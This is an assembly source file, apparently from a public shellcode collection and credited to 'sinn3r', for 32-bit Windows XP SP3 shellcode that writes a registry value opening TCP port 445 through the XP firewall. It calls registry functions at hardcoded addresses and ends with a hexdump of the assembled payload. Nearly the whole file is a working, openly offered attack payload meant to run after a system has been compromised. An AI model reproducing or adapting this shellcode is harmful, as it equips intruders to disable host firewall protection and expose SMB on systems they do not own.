110 lines
No EOL
3 KiB
NASM
110 lines
No EOL
3 KiB
NASM
; Author: sinn3r (x90.sinner {a.t} gmail.c0m)
|
|
; Tested on Windows XP SP3
|
|
; Description:
|
|
; This shellcode will create a XP firewall rule to allow TCP traffic on port 445.
|
|
; Make sure ADVAPI32.dll is loaded.
|
|
|
|
[BITS 32]
|
|
|
|
global _start
|
|
|
|
_start:
|
|
|
|
;for the handle
|
|
xor edx, edx
|
|
mov edi, esp
|
|
mov dword [edi], edx
|
|
sub esp, 0x10 ;avoid handle being overwritten
|
|
|
|
;Prepare the key
|
|
push 0x00747369
|
|
push 0x4c5c7374
|
|
push 0x726f506e
|
|
push 0x65704f79
|
|
push 0x6c6c6162
|
|
push 0x6f6c475c
|
|
push 0x656c6966
|
|
push 0x6f725064
|
|
push 0x7261646e
|
|
push 0x6174535c
|
|
push 0x7963696c
|
|
push 0x6f706c6c
|
|
push 0x61776572
|
|
push 0x69465c73
|
|
push 0x72657465
|
|
push 0x6d617261
|
|
push 0x505c7373
|
|
push 0x65636341
|
|
push 0x64657261
|
|
push 0x68535c73
|
|
push 0x65636976
|
|
push 0x7265535c
|
|
push 0x7465536c
|
|
push 0x6f72746e
|
|
push 0x6f43746e
|
|
push 0x65727275
|
|
push 0x435c4d45
|
|
push 0x54535953
|
|
mov edx, esp
|
|
|
|
xor eax, eax
|
|
push eax ;pDisposion = NULL
|
|
push edi ;pHandle
|
|
push eax ;pSecurity = NULL
|
|
push 0x0f003f ;Access = KEY_ALL_ACCESS
|
|
push eax ;Options = REG_OPTION_NON_VOLATILE
|
|
push eax ;Class = NULL
|
|
push eax ;Reserved = NULL
|
|
push edx ;Subkey
|
|
push 0x80000002 ;hkey = HKEY_LOCAL_MACHINE
|
|
mov eax, 0x77DDE9E4 ;RegCreateKeyExA
|
|
call eax
|
|
|
|
;RegSetValue ValueName = 445:TCP
|
|
push 0x00504354
|
|
push 0x3a353434
|
|
mov edx, esp
|
|
|
|
;REgSEtValue buffer = 445:TCP:*:Enabled:test
|
|
push 0x00007473
|
|
push 0x65743a64
|
|
push 0x656c6261
|
|
push 0x6e453a2a
|
|
push 0x3a504354
|
|
push 0x3a353434
|
|
mov ecx, esp
|
|
|
|
xor eax, eax
|
|
inc eax
|
|
push 0x16 ;BufSize = 0x16
|
|
push ecx ;Buffer
|
|
push eax ;ValueType = REG-SZ
|
|
dec eax
|
|
push eax ;Reserved = 0
|
|
push edx ;ValueName
|
|
push dword [edi] ;hKey
|
|
mov eax, 0x77ddead7 ;RegSetValueExA
|
|
call eax
|
|
|
|
push dword [edi] ;hKey
|
|
mov eax, 0x77dd6c17 ;RegCloseKey
|
|
call eax
|
|
|
|
;shellcode:
|
|
;sinn3r@backtrack:~$ nasm -f bin addFirewallRule2.asm -o addFirewallRule2 |cat addFirewallRule2 |hexdump -C |grep -v 000000ff
|
|
;00000000 31 d2 89 e7 89 17 81 ec 10 00 00 00 68 69 73 74 |1...........hist|
|
|
;00000010 00 68 74 73 5c 4c 68 6e 50 6f 72 68 79 4f 70 65 |.hts\LhnPorhyOpe|
|
|
;00000020 68 62 61 6c 6c 68 5c 47 6c 6f 68 66 69 6c 65 68 |hballh\Glohfileh|
|
|
;00000030 64 50 72 6f 68 6e 64 61 72 68 5c 53 74 61 68 6c |dProhndarh\Stahl|
|
|
;00000040 69 63 79 68 6c 6c 70 6f 68 72 65 77 61 68 73 5c |icyhllpohrewahs\|
|
|
;00000050 46 69 68 65 74 65 72 68 61 72 61 6d 68 73 73 5c |Fiheterharamhss\|
|
|
;00000060 50 68 41 63 63 65 68 61 72 65 64 68 73 5c 53 68 |PhAcceharedhs\Sh|
|
|
;00000070 68 76 69 63 65 68 5c 53 65 72 68 6c 53 65 74 68 |hviceh\SerhlSeth|
|
|
;00000080 6e 74 72 6f 68 6e 74 43 6f 68 75 72 72 65 68 45 |ntrohntCohurrehE|
|
|
;00000090 4d 5c 43 68 53 59 53 54 89 e2 31 c0 50 57 50 68 |M\ChSYST..1.PWPh|
|
|
;000000a0 3f 00 0f 00 50 50 50 52 68 02 00 00 80 b8 e4 e9 |?...PPPRh.......|
|
|
;000000b0 dd 77 ff d0 68 54 43 50 00 68 34 34 35 3a 89 e2 |.w..hTCP.h445:..|
|
|
;000000c0 68 73 74 00 00 68 64 3a 74 65 68 61 62 6c 65 68 |hst..hd:tehableh|
|
|
;000000d0 2a 3a 45 6e 68 54 43 50 3a 68 34 34 35 3a 89 e1 |*:EnhTCP:h445:..|
|
|
;000000e0 31 c0 40 68 16 00 00 00 51 50 48 50 52 ff 37 b8 |1.@h....QPHPR.7.|
|
|
;000000f0 d7 ea dd 77 ff d0 ff 37 b8 17 6c dd 77 ff d0 |...w...7..l.w..| |